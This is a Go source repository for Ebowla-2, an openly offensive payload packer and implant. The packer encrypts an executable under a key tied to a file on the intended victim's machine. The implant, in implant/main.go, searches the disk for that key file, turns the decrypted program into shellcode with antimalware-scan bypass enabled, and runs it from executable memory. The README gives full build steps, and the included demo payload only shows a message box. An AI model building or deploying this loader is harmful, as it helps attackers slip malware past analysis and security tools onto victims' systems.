├── README.md ├── example ├── go.mod └── main.go ├── implant ├── go.mod ├── go.sum └── main.go └── package ├── go.mod └── main.go /README.md: -------------------------------------------------------------------------------- 1 | # Ebowla-2 2 | reboot of https://github.com/Genetic-Malware/Ebowla in order to simplify / modernize the codebase and provide ongoing support 3 | 4 | # Building / Running 5 | the following is an example of compiling a hello world golang exe, packaging it into an encrypted package, and finally, building the implant with the package embedded within. 6 | ``` 7 | cd example 8 | go build 9 | mv example.exe ..\package\example.exe 10 | cd ..\package\ 11 | go run .\main.go -s 'C:\Windows\System32\AboveLockAppHost.dll' -p .\example.exe 12 | mv .\package ..\implant\ 13 | cd ..\implant\ 14 | go build -ldflags "-X main.seedPath=C:\Windows\System32" 15 | .\implant.exe 16 | ``` 17 | 18 | ### Concept Presentation Resources 19 | Slides: 20 | 21 | * Infiltrate 2016: https://github.com/Genetic-Malware/Ebowla/raw/master/Infiltrate_2016_Morrow_Pitts_Genetic_Malware.pdf 22 | * Ekoparty 2016: https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf 23 | 24 | Demos: 25 | * https://www.youtube.com/watch?v=rRm3O7w5GHg 26 | * https://youtu.be/Bu_qDrbX9Zo 27 | * https://youtu.be/mlh70LtwmDo 28 | * https://youtu.be/lyedtAtATGc (PowerShell) 29 | 30 | # Payload Support 31 | |Shared Object| 32 | |:-----| 33 | |exe| 34 | 35 | ### Contributors 36 | Original Project: 37 | * https://github.com/wired33 (wrote most of the golang payload code) 38 | * https://github.com/secretsquirrel (wrote the python payload code and most of the encryption code) 39 | 40 | This Project: 41 | * https://github.com/secretsquirrel 42 | -------------------------------------------------------------------------------- /example/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/vyrus001/ebowla-2/example 2 | 3 | go 1.17 4 | -------------------------------------------------------------------------------- /example/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "syscall" 5 | "unsafe" 6 | ) 7 | 8 | func main() { 9 | syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call( 10 | 0, 11 | uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("hello world!"))), 12 | uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("message box"))), 13 | 0, 14 | ) 15 | } 16 | -------------------------------------------------------------------------------- /implant/go.mod: -------------------------------------------------------------------------------- 1 | module ebowlaTwoElectricBoogaloo/implant 2 | 3 | go 1.17 4 | 5 | require github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e 6 | 7 | require ( 8 | github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf // indirect 9 | github.com/google/uuid v1.2.0 // indirect 10 | ) 11 | -------------------------------------------------------------------------------- /implant/go.sum: -------------------------------------------------------------------------------- 1 | github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf h1:Cx4YJvjPZD91xiffqJOq8l3j1YKcvx3+8duqq7DX9gY= 2 | github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= 3 | github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o= 4 | github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw= 5 | github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA= 6 | github.com/google/uuid v1.2.0 h1:qJYtXnJRWmpe7m/3XlyhrsLrEURqHRM2kxzoxXqyUDs= 7 | github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 8 | -------------------------------------------------------------------------------- /implant/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "crypto/aes" 6 | "crypto/cipher" 7 | "crypto/sha512" 8 | _ "embed" 9 | "encoding/binary" 10 | "io/ioutil" 11 | "os" 12 | "path/filepath" 13 | "runtime" 14 | "sync" 15 | "syscall" 16 | "unsafe" 17 | 18 | "github.com/Binject/go-donut/donut" 19 | ) 20 | 21 | var ( 22 | seedPath string 23 | //go:embed "package" 24 | packageContent []byte 25 | ) 26 | 27 | func main() { 28 | if len(seedPath) < 1 { 29 | seedPath = os.Getenv("SystemDrive") + string(os.PathSeparator) 30 | } 31 | keyOffset := binary.LittleEndian.Uint64(packageContent[:8]) 32 | payload := packageContent[8:] 33 | potentialSeeds := make(chan string) 34 | 35 | wg := sync.WaitGroup{} 36 | for cpuIndex := 0; cpuIndex < runtime.NumCPU(); cpuIndex++ { 37 | wg.Add(1) 38 | go func() { 39 | defer wg.Done() 40 | for { 41 | seedFile, err := ioutil.ReadFile(<-potentialSeeds) 42 | if err != nil { 43 | continue 44 | } 45 | if keyOffset+32 > uint64(len(seedFile)) { 46 | continue 47 | } 48 | 49 | hasher := sha512.New() 50 | _, err = hasher.Write(seedFile[keyOffset : keyOffset+32]) 51 | if err != nil { 52 | continue 53 | } 54 | 55 | cypher, err := aes.NewCipher(hasher.Sum(nil)[:32]) 56 | if err != nil { 57 | continue 58 | } 59 | gcm, err := cipher.NewGCM(cypher) 60 | if err != nil { 61 | continue 62 | } 63 | nonceSize := gcm.NonceSize() 64 | decryptedPayload, err := gcm.Open( 65 | nil, payload[:nonceSize], payload[nonceSize:], nil, 66 | ) 67 | if err != nil { 68 | continue 69 | } 70 | if len(decryptedPayload) < 1 { 71 | continue 72 | } 73 | shellcode, err := donut.ShellcodeFromBytes(bytes.NewBuffer(decryptedPayload), &donut.DonutConfig{ 74 | Arch: donut.X84, 75 | Type: donut.DONUT_MODULE_EXE, 76 | InstType: donut.DONUT_INSTANCE_PIC, 77 | Entropy: donut.DONUT_ENTROPY_DEFAULT, 78 | Compress: 1, 79 | Format: 1, 80 | Bypass: 3, 81 | }) 82 | if err != nil { 83 | continue 84 | } 85 | loadAddr, _, err := syscall.NewLazyDLL("Kernel32.dll").NewProc("VirtualAlloc").Call( 86 | 0, uintptr(len(shellcode.Bytes())), 0x1000|0x2000 /* MEM_COMMIT | MEM_RESERVE */, 0x40, /*PAGE_EXECUTE_READWRITE */ 87 | ) 88 | if err != nil && err.Error() != "The operation completed successfully." { 89 | continue 90 | } 91 | for index, shellcodeByte := range shellcode.Bytes() { 92 | *(*byte)(unsafe.Pointer(loadAddr + uintptr(index))) = shellcodeByte 93 | } 94 | syscall.Syscall(loadAddr, 0, 0, 0, 0) 95 | } 96 | }() 97 | } 98 | 99 | filepath.Walk(seedPath, func(path string, info os.FileInfo, err error) error { 100 | if !info.IsDir() && err == nil { 101 | potentialSeeds <- path 102 | } 103 | return nil 104 | }) 105 | 106 | wg.Wait() 107 | } 108 | -------------------------------------------------------------------------------- /package/go.mod: -------------------------------------------------------------------------------- 1 | module ebowlaTwoElectricBoogaloo/package 2 | 3 | go 1.17 4 | -------------------------------------------------------------------------------- /package/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/sha512" 7 | "encoding/binary" 8 | "flag" 9 | "io/ioutil" 10 | "math/rand" 11 | "os" 12 | "time" 13 | ) 14 | 15 | var seedFilePath, seedFileSufix, payloadFilePath string 16 | 17 | func checkFatalErr(reason string, err error) { 18 | if err != nil { 19 | println(reason + ":") 20 | panic(err) 21 | } 22 | } 23 | 24 | func init() { 25 | flag.StringVar(&seedFilePath, "s", "", "path to file to use as the cryptographic seed") 26 | flag.StringVar(&payloadFilePath, "p", "", "path to payload file") 27 | flag.Parse() 28 | bailOut := func(reason string) { 29 | println(reason) 30 | flag.Usage() 31 | os.Exit(0) 32 | } 33 | if len(payloadFilePath) < 1 { 34 | bailOut("no payload given") 35 | } 36 | if len(seedFilePath) < 1 { 37 | bailOut("no seed file given") 38 | } 39 | } 40 | 41 | func main() { 42 | seedFile, err := ioutil.ReadFile(seedFilePath) 43 | checkFatalErr("failed to read seed file", err) 44 | payload, err := ioutil.ReadFile(payloadFilePath) 45 | checkFatalErr("failed to read payload file", err) 46 | 47 | rand.Seed(time.Now().Unix()) 48 | offset := rand.Intn(len(seedFile) - 32) 49 | offsetBytes := make([]byte, 8) 50 | binary.LittleEndian.PutUint64(offsetBytes, uint64(offset)) 51 | hasher := sha512.New() 52 | hasher.Write(seedFile[offset : offset+32]) // key 53 | 54 | cypher, err := aes.NewCipher(hasher.Sum(nil)[:32]) 55 | checkFatalErr("failed to create cipher object", err) 56 | gcm, err := cipher.NewGCM(cypher) 57 | checkFatalErr("failed to create GCM", err) 58 | nonce := make([]byte, gcm.NonceSize()) 59 | _, err = rand.Read(nonce) 60 | checkFatalErr("failed populate nonce", err) 61 | 62 | payload = gcm.Seal(nonce, nonce, payload, nil) 63 | payload = append(offsetBytes, payload...) 64 | 65 | checkFatalErr( 66 | "failed to write payload", 67 | ioutil.WriteFile("package", payload, 0777), 68 | ) 69 | } 70 | --------------------------------------------------------------------------------